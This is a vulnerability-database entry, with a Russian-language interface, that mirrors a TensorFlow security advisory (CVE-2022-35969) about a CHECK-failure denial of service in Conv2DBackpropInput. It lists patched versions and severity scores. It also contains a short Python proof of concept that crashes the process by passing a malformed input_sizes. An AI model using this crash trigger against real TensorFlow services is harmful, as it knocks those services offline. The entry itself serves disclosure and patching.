exploitDog

GHSA-q2c3-jpmc-gfjx

Опубликовано: 16 сент. 2022

Источник: github

Github: Прошло ревью

CVSS3: 5.9

Описание

TensorFlow vulnerable to CHECK fail in Conv2DBackpropInput

Impact

The implementation of Conv2DBackpropInput requires input_sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:

import tensorflow as tf strides = [1, 1, 1, 1] padding = "SAME" use_cudnn_on_gpu = True explicit_paddings = [] data_format = "NHWC" dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)

Patches

We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Ссылки

Пакеты

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID

Связанные уязвимости

CVE-2022-35969

CVSS3: 5.9

nvd

больше 3 лет назад

TensorFlow is an open source platform for machine learning. The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.

CVE-2022-35969

CVSS3: 5.9

debian

больше 3 лет назад

TensorFlow is an open source platform for machine learning. The implem ...

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID